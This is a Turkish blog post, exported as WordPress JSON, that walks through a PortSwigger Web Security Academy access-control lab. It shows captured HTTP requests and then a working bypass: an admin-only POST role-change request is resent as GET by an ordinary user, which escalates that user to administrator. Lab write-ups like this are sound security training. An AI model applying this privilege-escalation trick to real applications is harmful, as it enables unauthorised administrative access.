{"id":2671,"date":"2026-11-02T09:53:18","date_gmt":"2026-11-02T09:53:18","guid":{"rendered":"https:\/\/berenkudaygorun.com\/blog\/?p=2671"},"modified":"2026-11-02T09:53:20","modified_gmt":"2026-11-02T09:53:20","slug":"portswigger-access-control-lab-11-method-based-access-control-can-be-circumvented","status":"publish","type":"post","link":"https:\/\/berenkudaygorun.com\/blog\/blog\/2026\/11\/02\/portswigger-access-control-lab-11-method-based-access-control-can-be-circumvented\/","title":{"rendered":"PortSwigger Access Control Lab 11: Method-based Access Control Can Be Circumvented"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Bu labda, PortSwigger Web Security Academy\u2019nin Access Control kategorisindeki \u201cMethod-based access control can be circumvented\u201d senaryosunu inceliyoruz. Uygulama, eri\u015fim kontrollerini k\u0131smen iste\u011fin HTTP metoduna g\u00f6re uyguluyor. Y\u00f6netici yetkisi gerektiren rol de\u011fi\u015ftirme iste\u011fi POST yerine GET olarak g\u00f6nderildi\u011finde, normal bir kullan\u0131c\u0131 bu kontrol\u00fc a\u015fabiliyor. Amac\u0131m\u0131z, y\u00f6netim panelinin i\u015fleyi\u015fini inceledikten sonra bize verilen normal kullan\u0131c\u0131 hesab\u0131yla kendi yetkimizi y\u00f6netici seviyesine y\u00fckselterek lab\u0131 \u00e7\u00f6zmek. <a href=\"https:\/\/portswigger.net\/web-security\/access-control\/lab-method-based-access-control-can-be-circumvented\">Lab ba\u011flant\u0131s\u0131<\/a>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u00d6ncekilere oranla biraz farkl\u0131 bir lab gibi. Admin credential&#8217;lar\u0131 ile admin paneline gir ve a\u015final\u0131k kazan diyor. Daha sonras\u0131nda da mevcut credential&#8217;\u0131 admin yap diyor.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u0130lk olarak admin panele girdim ve incelemelerimi yapt\u0131m.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"1280\" height=\"1075\" src=\"https:\/\/berenkudaygorun.com\/blog\/wp-content\/uploads\/2026\/11\/image-29.jpeg\" alt=\"\" class=\"wp-image-2672\" srcset=\"https:\/\/berenkudaygorun.com\/blog\/wp-content\/uploads\/2026\/11\/image-29.jpeg 1280w, https:\/\/berenkudaygorun.com\/blog\/wp-content\/uploads\/2026\/11\/image-29-768x645.jpeg 768w\" sizes=\"auto, (max-width: 1280px) 100vw, 1280px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Yukar\u0131daki gibi bir panel vard\u0131 ve kendi kullan\u0131c\u0131m\u0131 admin rol\u00fcne \u00e7ektim. Daha sonras\u0131nda da tekrar d\u00fc\u015f\u00fcrd\u00fcm. \u0130stekler a\u015fa\u011f\u0131daki gibiydi.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/admin-roles HTTP\/2\nHost: 0ac100ee04a5145d819484ce00ac00d4.web-security-academy.net\nCookie: session=K9Gw41qztuxkJdf1UNf8Pq6xSI6PuKrc\nContent-Length: 30\nCache-Control: max-age=0\nSec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\"\nSec-Ch-Ua-Mobile: ?0\nSec-Ch-Ua-Platform: \"macOS\"\nAccept-Language: tr-TR,tr;q=0.9\nUpgrade-Insecure-Requests: 1\nContent-Type: application\/x-www-form-urlencoded\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/156.0.0.0 Safari\/537.36\nOrigin: https:\/\/0ac100ee04a5145d819484ce00ac00d4.web-security-academy.net\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/jxl,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nReferer: https:\/\/0ac100ee04a5145d819484ce00ac00d4.web-security-academy.net\/admin\nAccept-Encoding: gzip, deflate, br\nPriority: u=0, i\n\nusername=wiener&amp;action=upgrade<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/admin-roles HTTP\/2\nHost: 0ac100ee04a5145d819484ce00ac00d4.web-security-academy.net\nCookie: session=K9Gw41qztuxkJdf1UNf8Pq6xSI6PuKrc\nContent-Length: 32\nCache-Control: max-age=0\nSec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\"\nSec-Ch-Ua-Mobile: ?0\nSec-Ch-Ua-Platform: \"macOS\"\nAccept-Language: tr-TR,tr;q=0.9\nUpgrade-Insecure-Requests: 1\nContent-Type: application\/x-www-form-urlencoded\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/156.0.0.0 Safari\/537.36\nOrigin: https:\/\/0ac100ee04a5145d819484ce00ac00d4.web-security-academy.net\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/jxl,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nReferer: https:\/\/0ac100ee04a5145d819484ce00ac00d4.web-security-academy.net\/admin\nAccept-Encoding: gzip, deflate, br\nPriority: u=0, i\n\nusername=carlos&amp;action=downgrade<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Daha sonras\u0131nda y\u00fckseltme iste\u011fini Repeater&#8217;a att\u0131m ve normal kullan\u0131c\u0131 ile girip onun session&#8217;\u0131 ile tekrar bu iste\u011fi denedim. Ancak hata ald\u0131m. Daha sonras\u0131nda lab a\u00e7\u0131klamas\u0131n\u0131 okudu\u011fumda HTTP isteklerine at\u0131fta bulundu\u011fundan dolay\u0131 POST iste\u011fini GET iste\u011fine \u00e7evirmeyi denedim. \u0130stek a\u015fa\u011f\u0131daki gibi oldu:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/admin-roles?username=wiener&amp;action=upgrade HTTP\/2\nHost: 0ac100ee04a5145d819484ce00ac00d4.web-security-academy.net\nCookie: session=qrNYF12ECrPmByJCIvbgNvpDIK1UozBN\nContent-Length: 0\nCache-Control: max-age=0\nSec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\"\nSec-Ch-Ua-Mobile: ?0\nSec-Ch-Ua-Platform: \"macOS\"\nAccept-Language: tr-TR,tr;q=0.9\nUpgrade-Insecure-Requests: 1\nContent-Type: application\/x-www-form-urlencoded\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/156.0.0.0 Safari\/537.36\nOrigin: https:\/\/0ac100ee04a5145d819484ce00ac00d4.web-security-academy.net\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/jxl,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nReferer: https:\/\/0ac100ee04a5145d819484ce00ac00d4.web-security-academy.net\nAccept-Encoding: gzip, deflate, br\nPriority: u=0, i\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u0130\u015fe yarad\u0131.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"1280\" height=\"1075\" src=\"https:\/\/berenkudaygorun.com\/blog\/wp-content\/uploads\/2026\/11\/image-30.jpeg\" alt=\"\" class=\"wp-image-2673\" srcset=\"https:\/\/berenkudaygorun.com\/blog\/wp-content\/uploads\/2026\/11\/image-30.jpeg 1280w, https:\/\/berenkudaygorun.com\/blog\/wp-content\/uploads\/2026\/11\/image-30-768x645.jpeg 768w\" sizes=\"auto, (max-width: 1280px) 100vw, 1280px\" \/><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>Bu labda, PortSwigger Web Security Academy\u2019nin Access Control kategorisindeki \u201cMethod-based access control can be circumvented\u201d senaryosunu inceliyoruz. Uygulama, eri\u015fim kontrollerini k\u0131smen iste\u011fin HTTP metoduna g\u00f6re&#8230;<\/p>\n<div class=\"more-link-wrapper\"><a class=\"more-link\" href=\"https:\/\/berenkudaygorun.com\/blog\/blog\/2026\/11\/02\/portswigger-access-control-lab-11-method-based-access-control-can-be-circumvented\/\">Devam\u0131n\u0131 oku<span class=\"screen-reader-text\">PortSwigger Access Control Lab 11: Method-based Access Control Can Be Circumvented<\/span><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[749],"tags":[752],"class_list":["post-2671","post","type-post","status-publish","format-standard","hentry","category-web","tag-access-control","entry"],"_links":{"self":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/2671","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/comments?post=2671"}],"version-history":[{"count":1,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/2671\/revisions"}],"predecessor-version":[{"id":2674,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/2671\/revisions\/2674"}],"wp:attachment":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/media?parent=2671"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/categories?post=2671"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/tags?post=2671"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}